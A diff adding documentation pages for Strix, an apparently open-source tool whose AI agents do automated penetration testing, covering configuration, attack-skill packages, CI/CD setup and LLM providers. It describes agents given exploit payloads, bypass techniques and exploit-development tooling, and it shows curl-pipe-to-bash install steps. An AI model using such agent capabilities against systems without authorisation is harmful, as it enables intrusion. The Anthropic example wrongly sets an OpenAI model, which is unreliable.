Enable/disable anonymous telemetry. Set to `0`, `false`, `no`, or `off` to disable.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
## Docker Configuration
|
||||||
|
|
||||||
|
<ParamField path="STRIX_IMAGE" default="ghcr.io/usestrix/strix-sandbox:0.1.11" type="string">
|
||||||
|
Docker image to use for the sandbox container.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="DOCKER_HOST" type="string">
|
||||||
|
Docker daemon socket path. Use for remote Docker hosts or custom configurations.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_RUNTIME_BACKEND" default="docker" type="string">
|
||||||
|
Runtime backend for the sandbox environment.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
## Sandbox Configuration
|
||||||
|
|
||||||
|
<ParamField path="STRIX_SANDBOX_EXECUTION_TIMEOUT" default="120" type="integer">
|
||||||
|
Maximum execution time in seconds for sandbox operations.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_SANDBOX_CONNECT_TIMEOUT" default="10" type="integer">
|
||||||
|
Timeout in seconds for connecting to the sandbox container.
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
## Config File
|
||||||
|
|
||||||
|
Strix stores configuration in `~/.strix/cli-config.json`. You can also specify a custom config file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./app --config /path/to/config.json
|
||||||
|
```
|
||||||
|
|
||||||
|
**Config file format:**
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"env": {
|
||||||
|
"STRIX_LLM": "openai/gpt-5",
|
||||||
|
"LLM_API_KEY": "sk-...",
|
||||||
|
"STRIX_REASONING_EFFORT": "high"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Required
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="sk-..."
|
||||||
|
|
||||||
|
# Optional: Enable web search
|
||||||
|
export PERPLEXITY_API_KEY="pplx-..."
|
||||||
|
|
||||||
|
# Optional: Custom timeouts
|
||||||
|
export LLM_TIMEOUT="600"
|
||||||
|
export STRIX_SANDBOX_EXECUTION_TIMEOUT="300"
|
||||||
|
```
|
||||||
121
docs/advanced/skills.mdx
Normal file
121
docs/advanced/skills.mdx
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
---
|
||||||
|
title: "Skills"
|
||||||
|
description: "Specialized knowledge packages that enhance agent capabilities"
|
||||||
|
---
|
||||||
|
|
||||||
|
Skills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies.
|
||||||
|
|
||||||
|
## The Idea
|
||||||
|
|
||||||
|
LLMs have broad but shallow security knowledge. They know _about_ SQL injection, but lack the nuanced techniques that experienced pentesters use—parser quirks, bypass methods, validation tricks, and chain attacks.
|
||||||
|
|
||||||
|
Skills inject this deep, specialized knowledge directly into the agent's context, transforming it from a generalist into a specialist for the task at hand.
|
||||||
|
|
||||||
|
## How They Work
|
||||||
|
|
||||||
|
When Strix spawns an agent for a specific task, it selects up to 5 relevant skills based on the context:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Agent created for JWT testing automatically loads relevant skills
|
||||||
|
create_agent(
|
||||||
|
task="Test authentication mechanisms",
|
||||||
|
skills=["authentication_jwt", "business_logic"]
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
The skills are injected into the agent's system prompt, giving it access to:
|
||||||
|
|
||||||
|
- **Advanced techniques** — Non-obvious methods beyond standard testing
|
||||||
|
- **Working payloads** — Practical examples with variations
|
||||||
|
- **Validation methods** — How to confirm findings and avoid false positives
|
||||||
|
|
||||||
|
## Skill Categories
|
||||||
|
|
||||||
|
### Vulnerabilities
|
||||||
|
|
||||||
|
Core vulnerability classes with deep exploitation techniques.
|
||||||
|
|
||||||
|
| Skill | Coverage |
|
||||||
|
| ------------------------------------- | ------------------------------------------------------ |
|
||||||
|
| `authentication_jwt` | JWT attacks, algorithm confusion, claim tampering |
|
||||||
|
| `idor` | Object reference attacks, horizontal/vertical access |
|
||||||
|
| `sql_injection` | SQL injection variants, WAF bypasses, blind techniques |
|
||||||
|
| `xss` | XSS types, filter bypasses, DOM exploitation |
|
||||||
|
| `ssrf` | Server-side request forgery, protocol handlers |
|
||||||
|
| `csrf` | Cross-site request forgery, token bypasses |
|
||||||
|
| `xxe` | XML external entities, OOB exfiltration |
|
||||||
|
| `rce` | Remote code execution vectors |
|
||||||
|
| `business_logic` | Logic flaws, state manipulation, race conditions |
|
||||||
|
| `race_conditions` | TOCTOU, parallel request attacks |
|
||||||
|
| `path_traversal_lfi_rfi` | File inclusion, path traversal |
|
||||||
|
| `open_redirect` | Redirect bypasses, URL parsing tricks |
|
||||||
|
| `mass_assignment` | Attribute injection, hidden parameter pollution |
|
||||||
|
| `insecure_file_uploads` | Upload bypasses, extension tricks |
|
||||||
|
| `information_disclosure` | Data leakage, error-based enumeration |
|
||||||
|
| `subdomain_takeover` | Dangling DNS, cloud resource claims |
|
||||||
|
| `broken_function_level_authorization` | Privilege escalation, role bypasses |
|
||||||
|
|
||||||
|
### Frameworks
|
||||||
|
|
||||||
|
Framework-specific testing patterns.
|
||||||
|
|
||||||
|
| Skill | Coverage |
|
||||||
|
| --------- | -------------------------------------------- |
|
||||||
|
| `fastapi` | FastAPI security patterns, Pydantic bypasses |
|
||||||
|
| `nextjs` | Next.js SSR/SSG issues, API route security |
|
||||||
|
|
||||||
|
### Technologies
|
||||||
|
|
||||||
|
Third-party service and platform security.
|
||||||
|
|
||||||
|
| Skill | Coverage |
|
||||||
|
| -------------------- | ---------------------------------- |
|
||||||
|
| `supabase` | Supabase RLS bypasses, auth issues |
|
||||||
|
| `firebase_firestore` | Firestore rules, Firebase auth |
|
||||||
|
|
||||||
|
### Protocols
|
||||||
|
|
||||||
|
Protocol-specific testing techniques.
|
||||||
|
|
||||||
|
| Skill | Coverage |
|
||||||
|
| --------- | ------------------------------------------------ |
|
||||||
|
| `graphql` | GraphQL introspection, batching, resolver issues |
|
||||||
|
|
||||||
|
## Skill Structure
|
||||||
|
|
||||||
|
Each skill is a Markdown file with YAML frontmatter for metadata:
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
---
|
||||||
|
name: skill_name
|
||||||
|
description: Brief description of the skill's coverage
|
||||||
|
---
|
||||||
|
|
||||||
|
# Skill Title
|
||||||
|
|
||||||
|
Key insight about this vulnerability or technique.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
What this skill covers and where to look.
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
Step-by-step testing approach.
|
||||||
|
|
||||||
|
## Techniques
|
||||||
|
How to discover and exploit the vulnerability.
|
||||||
|
|
||||||
|
## Bypass Methods
|
||||||
|
How to bypass common protections.
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
How to confirm findings and avoid false positives.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contributing Skills
|
||||||
|
|
||||||
|
Community contributions are welcome. Create a `.md` file in the appropriate category with YAML frontmatter (`name` and `description` fields). Good skills include:
|
||||||
|
|
||||||
|
1. **Real-world techniques** — Methods that work in practice
|
||||||
|
2. **Practical payloads** — Working examples with variations
|
||||||
|
3. **Validation steps** — How to confirm without false positives
|
||||||
|
4. **Context awareness** — Version/environment-specific behavior
|
||||||
40
docs/cloud/overview.mdx
Normal file
40
docs/cloud/overview.mdx
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
---
|
||||||
|
title: "Introduction"
|
||||||
|
description: "Managed security testing without local setup"
|
||||||
|
---
|
||||||
|
|
||||||
|
Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="No Setup Required" icon="cloud">
|
||||||
|
No Docker, API keys, or local installation needed.
|
||||||
|
</Card>
|
||||||
|
<Card title="Full Reports" icon="file-lines">
|
||||||
|
Detailed findings with remediation guidance.
|
||||||
|
</Card>
|
||||||
|
<Card title="Team Dashboards" icon="users">
|
||||||
|
Track vulnerabilities and fixes over time.
|
||||||
|
</Card>
|
||||||
|
<Card title="GitHub Integration" icon="github">
|
||||||
|
Automatic scans on pull requests.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
|
|
||||||
|
## What You Get
|
||||||
|
|
||||||
|
- **Penetration test reports** — Validated findings with PoCs
|
||||||
|
- **Shareable dashboards** — Collaborate with your team
|
||||||
|
- **CI/CD integration** — Block risky changes automatically
|
||||||
|
- **Continuous monitoring** — Catch new vulnerabilities quickly
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
1. Sign up at [app.strix.ai](https://app.strix.ai)
|
||||||
|
2. Connect your repository or enter a target URL
|
||||||
|
3. Launch your first scan
|
||||||
|
|
||||||
|
<Card title="Try Strix Cloud" icon="rocket" href="https://app.strix.ai">
|
||||||
|
Run your first pentest in minutes.
|
||||||
|
</Card>
|
||||||
96
docs/contributing.mdx
Normal file
96
docs/contributing.mdx
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
---
|
||||||
|
title: "Contributing"
|
||||||
|
description: "Contribute to Strix development"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Development Setup
|
||||||
|
|
||||||
|
### Prerequisites
|
||||||
|
|
||||||
|
- Python 3.12+
|
||||||
|
- Docker (running)
|
||||||
|
- Poetry
|
||||||
|
- Git
|
||||||
|
|
||||||
|
### Local Development
|
||||||
|
|
||||||
|
<Steps>
|
||||||
|
<Step title="Clone the repository">
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/usestrix/strix.git
|
||||||
|
cd strix
|
||||||
|
```
|
||||||
|
</Step>
|
||||||
|
<Step title="Install dependencies">
|
||||||
|
```bash
|
||||||
|
make setup-dev
|
||||||
|
|
||||||
|
# or manually:
|
||||||
|
poetry install --with=dev
|
||||||
|
poetry run pre-commit install
|
||||||
|
```
|
||||||
|
</Step>
|
||||||
|
<Step title="Configure LLM">
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="your-api-key"
|
||||||
|
```
|
||||||
|
</Step>
|
||||||
|
<Step title="Run Strix">
|
||||||
|
```bash
|
||||||
|
poetry run strix --target https://example.com
|
||||||
|
```
|
||||||
|
</Step>
|
||||||
|
</Steps>
|
||||||
|
|
||||||
|
## Contributing Skills
|
||||||
|
|
||||||
|
Skills are specialized knowledge packages that enhance agent capabilities. They live in `strix/skills/`
|
||||||
|
|
||||||
|
### Creating a Skill
|
||||||
|
|
||||||
|
1. Choose the right category
|
||||||
|
2. Create a `.md` file with YAML frontmatter (`name` and `description` fields)
|
||||||
|
3. Include practical examples—working payloads, commands, test cases
|
||||||
|
4. Provide validation methods to confirm findings
|
||||||
|
5. Submit via PR
|
||||||
|
|
||||||
|
## Contributing Code
|
||||||
|
|
||||||
|
### Pull Request Process
|
||||||
|
|
||||||
|
1. **Create an issue first** — Describe the problem or feature
|
||||||
|
2. **Fork and branch** — Work from `main`
|
||||||
|
3. **Make changes** — Follow existing code style
|
||||||
|
4. **Write tests** — Ensure coverage for new features
|
||||||
|
5. **Run checks** — `make check-all` should pass
|
||||||
|
6. **Submit PR** — Link to issue and provide context
|
||||||
|
|
||||||
|
### Code Style
|
||||||
|
|
||||||
|
- PEP 8 with 100-character line limit
|
||||||
|
- Type hints for all functions
|
||||||
|
- Docstrings for public methods
|
||||||
|
- Small, focused functions
|
||||||
|
- Meaningful variable names
|
||||||
|
|
||||||
|
## Reporting Issues
|
||||||
|
|
||||||
|
Include:
|
||||||
|
|
||||||
|
- Python version and OS
|
||||||
|
- Strix version (`strix --version`)
|
||||||
|
- LLM being used
|
||||||
|
- Full error traceback
|
||||||
|
- Steps to reproduce
|
||||||
|
|
||||||
|
## Community
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="Discord" icon="discord" href="https://discord.gg/strix-ai">
|
||||||
|
Join the community for help and discussion.
|
||||||
|
</Card>
|
||||||
|
<Card title="GitHub Issues" icon="github" href="https://github.com/usestrix/strix/issues">
|
||||||
|
Report bugs and request features.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
130
docs/docs.json
Normal file
130
docs/docs.json
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
{
|
||||||
|
"$schema": "https://mintlify.com/docs.json",
|
||||||
|
"theme": "maple",
|
||||||
|
"name": "Strix",
|
||||||
|
"colors": {
|
||||||
|
"primary": "#000000",
|
||||||
|
"light": "#ffffff",
|
||||||
|
"dark": "#000000"
|
||||||
|
},
|
||||||
|
"favicon": "/images/favicon-48.ico",
|
||||||
|
"navigation": {
|
||||||
|
"tabs": [
|
||||||
|
{
|
||||||
|
"tab": "Documentation",
|
||||||
|
"groups": [
|
||||||
|
{
|
||||||
|
"group": "Getting Started",
|
||||||
|
"pages": [
|
||||||
|
"index",
|
||||||
|
"quickstart"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"group": "Usage",
|
||||||
|
"pages": [
|
||||||
|
"usage/cli",
|
||||||
|
"usage/scan-modes",
|
||||||
|
"usage/instructions"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"group": "LLM Providers",
|
||||||
|
"pages": [
|
||||||
|
"llm-providers/overview",
|
||||||
|
"llm-providers/models",
|
||||||
|
"llm-providers/openai",
|
||||||
|
"llm-providers/anthropic",
|
||||||
|
"llm-providers/openrouter",
|
||||||
|
"llm-providers/vertex",
|
||||||
|
"llm-providers/bedrock",
|
||||||
|
"llm-providers/azure",
|
||||||
|
"llm-providers/local"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"group": "Integrations",
|
||||||
|
"pages": [
|
||||||
|
"integrations/github-actions",
|
||||||
|
"integrations/ci-cd"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"group": "Tools",
|
||||||
|
"pages": [
|
||||||
|
"tools/overview",
|
||||||
|
"tools/browser",
|
||||||
|
"tools/proxy",
|
||||||
|
"tools/terminal",
|
||||||
|
"tools/sandbox"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"group": "Advanced",
|
||||||
|
"pages": [
|
||||||
|
"advanced/configuration",
|
||||||
|
"advanced/skills",
|
||||||
|
"contributing"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"tab": "Cloud",
|
||||||
|
"groups": [
|
||||||
|
{
|
||||||
|
"group": "Strix Cloud",
|
||||||
|
"pages": [
|
||||||
|
"cloud/overview"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"global": {
|
||||||
|
"anchors": [
|
||||||
|
{
|
||||||
|
"anchor": "GitHub",
|
||||||
|
"href": "https://github.com/usestrix/strix",
|
||||||
|
"icon": "github"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"anchor": "Discord",
|
||||||
|
"href": "https://discord.gg/strix-ai",
|
||||||
|
"icon": "discord"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"navbar": {
|
||||||
|
"links": [],
|
||||||
|
"primary": {
|
||||||
|
"type": "button",
|
||||||
|
"label": "Try Strix Cloud",
|
||||||
|
"href": "https://app.strix.ai"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"footer": {
|
||||||
|
"socials": {
|
||||||
|
"x": "https://x.com/strix_ai",
|
||||||
|
"github": "https://github.com/usestrix",
|
||||||
|
"discord": "https://discord.gg/strix-ai"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"fonts": {
|
||||||
|
"family": "Geist",
|
||||||
|
"heading": {
|
||||||
|
"family": "Geist"
|
||||||
|
},
|
||||||
|
"body": {
|
||||||
|
"family": "Geist"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"appearance": {
|
||||||
|
"default": "dark"
|
||||||
|
},
|
||||||
|
"description": "Open-source AI Hackers to secure your Apps",
|
||||||
|
"background": {
|
||||||
|
"decoration": "grid"
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
docs/images/favicon-48.ico
Normal file
BIN
docs/images/favicon-48.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
BIN
docs/images/logo.png
Normal file
BIN
docs/images/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.7 KiB |
BIN
docs/images/screenshot.png
Normal file
BIN
docs/images/screenshot.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.6 MiB |
101
docs/index.mdx
Normal file
101
docs/index.mdx
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
---
|
||||||
|
title: "Introduction"
|
||||||
|
description: "Open-source AI hackers to secure your apps"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.
|
||||||
|
|
||||||
|
<Frame>
|
||||||
|
<img src="/images/screenshot.png" alt="Strix Demo" />
|
||||||
|
</Frame>
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="Quick Start" icon="rocket" href="/quickstart">
|
||||||
|
Install and run your first scan in minutes.
|
||||||
|
</Card>
|
||||||
|
<Card title="CLI Reference" icon="terminal" href="/usage/cli">
|
||||||
|
Learn all command-line options.
|
||||||
|
</Card>
|
||||||
|
<Card title="Tools" icon="wrench" href="/tools/overview">
|
||||||
|
Explore the security testing toolkit.
|
||||||
|
</Card>
|
||||||
|
<Card title="GitHub Actions" icon="github" href="/integrations/github-actions">
|
||||||
|
Integrate into your CI/CD pipeline.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
|
|
||||||
|
## Use Cases
|
||||||
|
|
||||||
|
- **Application Security Testing** — Detect and validate critical vulnerabilities in your applications
|
||||||
|
- **Rapid Penetration Testing** — Get penetration tests done in hours, not weeks
|
||||||
|
- **Bug Bounty Automation** — Automate research and generate PoCs for faster reporting
|
||||||
|
- **CI/CD Integration** — Block vulnerabilities before they reach production
|
||||||
|
|
||||||
|
## Key Capabilities
|
||||||
|
|
||||||
|
- **Full hacker toolkit** — Browser automation, HTTP proxy, terminal, Python runtime
|
||||||
|
- **Real validation** — PoCs, not false positives
|
||||||
|
- **Multi-agent orchestration** — Specialized agents collaborate on complex targets
|
||||||
|
- **Developer-first CLI** — Interactive TUI or headless mode for automation
|
||||||
|
|
||||||
|
## Security Tools
|
||||||
|
|
||||||
|
Strix agents come equipped with a comprehensive toolkit:
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| HTTP Proxy | Full request/response manipulation and analysis |
|
||||||
|
| Browser Automation | Multi-tab browser for XSS, CSRF, auth flow testing |
|
||||||
|
| Terminal | Interactive shells for command execution |
|
||||||
|
| Python Runtime | Custom exploit development and validation |
|
||||||
|
| Reconnaissance | Automated OSINT and attack surface mapping |
|
||||||
|
| Code Analysis | Static and dynamic analysis capabilities |
|
||||||
|
|
||||||
|
## Vulnerability Coverage
|
||||||
|
|
||||||
|
| Category | Examples |
|
||||||
|
|----------|----------|
|
||||||
|
| Access Control | IDOR, privilege escalation, auth bypass |
|
||||||
|
| Injection | SQL, NoSQL, command injection |
|
||||||
|
| Server-Side | SSRF, XXE, deserialization |
|
||||||
|
| Client-Side | XSS, prototype pollution, DOM vulnerabilities |
|
||||||
|
| Business Logic | Race conditions, workflow manipulation |
|
||||||
|
| Authentication | JWT vulnerabilities, session management |
|
||||||
|
| Infrastructure | Misconfigurations, exposed services |
|
||||||
|
|
||||||
|
## Multi-Agent Architecture
|
||||||
|
|
||||||
|
Strix uses a graph of specialized agents for comprehensive security testing:
|
||||||
|
|
||||||
|
- **Distributed Workflows** — Specialized agents for different attacks and assets
|
||||||
|
- **Scalable Testing** — Parallel execution for fast comprehensive coverage
|
||||||
|
- **Dynamic Coordination** — Agents collaborate and share discoveries
|
||||||
|
|
||||||
|
## Quick Example
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Install
|
||||||
|
curl -sSL https://strix.ai/install | bash
|
||||||
|
|
||||||
|
# Configure
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="your-api-key"
|
||||||
|
|
||||||
|
# Scan
|
||||||
|
strix --target ./your-app
|
||||||
|
```
|
||||||
|
|
||||||
|
## Community
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="Discord" icon="discord" href="https://discord.gg/strix-ai">
|
||||||
|
Join the community for help and discussion.
|
||||||
|
</Card>
|
||||||
|
<Card title="GitHub" icon="github" href="https://github.com/usestrix/strix">
|
||||||
|
Star the repo and contribute.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
|
|
||||||
|
<Warning>
|
||||||
|
Only test applications you own or have explicit permission to test.
|
||||||
|
</Warning>
|
||||||
80
docs/integrations/ci-cd.mdx
Normal file
80
docs/integrations/ci-cd.mdx
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
---
|
||||||
|
title: "CI/CD Integration"
|
||||||
|
description: "Run Strix in any CI/CD pipeline"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix runs in headless mode for automated pipelines.
|
||||||
|
|
||||||
|
## Headless Mode
|
||||||
|
|
||||||
|
Use the `-n` or `--non-interactive` flag:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix -n --target ./app --scan-mode quick
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exit Codes
|
||||||
|
|
||||||
|
| Code | Meaning |
|
||||||
|
|------|---------|
|
||||||
|
| 0 | No vulnerabilities found |
|
||||||
|
| 1 | Execution error |
|
||||||
|
| 2 | Vulnerabilities found |
|
||||||
|
|
||||||
|
## GitLab CI
|
||||||
|
|
||||||
|
```yaml .gitlab-ci.yml
|
||||||
|
security-scan:
|
||||||
|
image: docker:latest
|
||||||
|
services:
|
||||||
|
- docker:dind
|
||||||
|
variables:
|
||||||
|
STRIX_LLM: $STRIX_LLM
|
||||||
|
LLM_API_KEY: $LLM_API_KEY
|
||||||
|
script:
|
||||||
|
- curl -sSL https://strix.ai/install | bash
|
||||||
|
- strix -n -t ./ --scan-mode quick
|
||||||
|
```
|
||||||
|
|
||||||
|
## Jenkins
|
||||||
|
|
||||||
|
```groovy Jenkinsfile
|
||||||
|
pipeline {
|
||||||
|
agent any
|
||||||
|
environment {
|
||||||
|
STRIX_LLM = credentials('strix-llm')
|
||||||
|
LLM_API_KEY = credentials('llm-api-key')
|
||||||
|
}
|
||||||
|
stages {
|
||||||
|
stage('Security Scan') {
|
||||||
|
steps {
|
||||||
|
sh 'curl -sSL https://strix.ai/install | bash'
|
||||||
|
sh 'strix -n -t ./ --scan-mode quick'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## CircleCI
|
||||||
|
|
||||||
|
```yaml .circleci/config.yml
|
||||||
|
version: 2.1
|
||||||
|
jobs:
|
||||||
|
security-scan:
|
||||||
|
docker:
|
||||||
|
- image: cimg/base:current
|
||||||
|
steps:
|
||||||
|
- checkout
|
||||||
|
- setup_remote_docker
|
||||||
|
- run:
|
||||||
|
name: Install Strix
|
||||||
|
command: curl -sSL https://strix.ai/install | bash
|
||||||
|
- run:
|
||||||
|
name: Run Scan
|
||||||
|
command: strix -n -t ./ --scan-mode quick
|
||||||
|
```
|
||||||
|
|
||||||
|
<Note>
|
||||||
|
All CI platforms require Docker access. Ensure your runner has Docker available.
|
||||||
|
</Note>
|
||||||
60
docs/integrations/github-actions.mdx
Normal file
60
docs/integrations/github-actions.mdx
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
---
|
||||||
|
title: "GitHub Actions"
|
||||||
|
description: "Run Strix security scans on every pull request"
|
||||||
|
---
|
||||||
|
|
||||||
|
Integrate Strix into your GitHub workflow to catch vulnerabilities before they reach production.
|
||||||
|
|
||||||
|
## Basic Workflow
|
||||||
|
|
||||||
|
```yaml .github/workflows/security.yml
|
||||||
|
name: Security Scan
|
||||||
|
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
strix-scan:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Install Strix
|
||||||
|
run: curl -sSL https://strix.ai/install | bash
|
||||||
|
|
||||||
|
- name: Run Security Scan
|
||||||
|
env:
|
||||||
|
STRIX_LLM: ${{ secrets.STRIX_LLM }}
|
||||||
|
LLM_API_KEY: ${{ secrets.LLM_API_KEY }}
|
||||||
|
run: strix -n -t ./ --scan-mode quick
|
||||||
|
```
|
||||||
|
|
||||||
|
## Required Secrets
|
||||||
|
|
||||||
|
Add these secrets to your repository:
|
||||||
|
|
||||||
|
| Secret | Description |
|
||||||
|
|--------|-------------|
|
||||||
|
| `STRIX_LLM` | Model name (e.g., `openai/gpt-5`) |
|
||||||
|
| `LLM_API_KEY` | API key for your LLM provider |
|
||||||
|
|
||||||
|
## Exit Codes
|
||||||
|
|
||||||
|
The workflow fails when vulnerabilities are found:
|
||||||
|
|
||||||
|
| Code | Result |
|
||||||
|
|------|--------|
|
||||||
|
| 0 | Pass — No vulnerabilities |
|
||||||
|
| 2 | Fail — Vulnerabilities found |
|
||||||
|
|
||||||
|
## Scan Modes for CI
|
||||||
|
|
||||||
|
| Mode | Duration | Use Case |
|
||||||
|
|------|----------|----------|
|
||||||
|
| `quick` | Minutes | Every PR |
|
||||||
|
| `standard` | ~30 min | Nightly builds |
|
||||||
|
| `deep` | 1-4 hours | Release candidates |
|
||||||
|
|
||||||
|
<Tip>
|
||||||
|
Use `quick` mode for PRs to keep feedback fast. Schedule `deep` scans nightly.
|
||||||
|
</Tip>
|
||||||
24
docs/llm-providers/anthropic.mdx
Normal file
24
docs/llm-providers/anthropic.mdx
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
title: "Anthropic"
|
||||||
|
description: "Configure Strix with Claude models"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="sk-ant-..."
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
| Model | Description |
|
||||||
|
|-------|-------------|
|
||||||
|
| `anthropic/claude-sonnet-4-6` | Best balance of intelligence and speed |
|
||||||
|
| `anthropic/claude-opus-4-6` | Maximum capability for deep analysis |
|
||||||
|
|
||||||
|
## Get API Key
|
||||||
|
|
||||||
|
1. Go to [console.anthropic.com](https://console.anthropic.com)
|
||||||
|
2. Navigate to API Keys
|
||||||
|
3. Create a new key
|
||||||
37
docs/llm-providers/azure.mdx
Normal file
37
docs/llm-providers/azure.mdx
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
---
|
||||||
|
title: "Azure OpenAI"
|
||||||
|
description: "Configure Strix with OpenAI models via Azure"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="azure/your-gpt5-deployment"
|
||||||
|
export AZURE_API_KEY="your-azure-api-key"
|
||||||
|
export AZURE_API_BASE="https://your-resource.openai.azure.com"
|
||||||
|
export AZURE_API_VERSION="2025-11-01-preview"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
| Variable | Description |
|
||||||
|
|----------|-------------|
|
||||||
|
| `STRIX_LLM` | `azure/<your-deployment-name>` |
|
||||||
|
| `AZURE_API_KEY` | Your Azure OpenAI API key |
|
||||||
|
| `AZURE_API_BASE` | Your Azure OpenAI endpoint URL |
|
||||||
|
| `AZURE_API_VERSION` | API version (e.g., `2025-11-01-preview`) |
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="azure/gpt-5-deployment"
|
||||||
|
export AZURE_API_KEY="abc123..."
|
||||||
|
export AZURE_API_BASE="https://mycompany.openai.azure.com"
|
||||||
|
export AZURE_API_VERSION="2025-11-01-preview"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
1. Create an Azure OpenAI resource
|
||||||
|
2. Deploy a model (e.g., GPT-5)
|
||||||
|
3. Get the endpoint URL and API key from the Azure portal
|
||||||
47
docs/llm-providers/bedrock.mdx
Normal file
47
docs/llm-providers/bedrock.mdx
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
---
|
||||||
|
title: "AWS Bedrock"
|
||||||
|
description: "Configure Strix with models via AWS Bedrock"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0"
|
||||||
|
```
|
||||||
|
|
||||||
|
No API key required—uses AWS credentials from environment.
|
||||||
|
|
||||||
|
## Authentication
|
||||||
|
|
||||||
|
### Option 1: AWS CLI Profile
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export AWS_PROFILE="your-profile"
|
||||||
|
export AWS_REGION="us-east-1"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Option 2: Access Keys
|
||||||
|
|
||||||
|
```bash
|
||||||
|
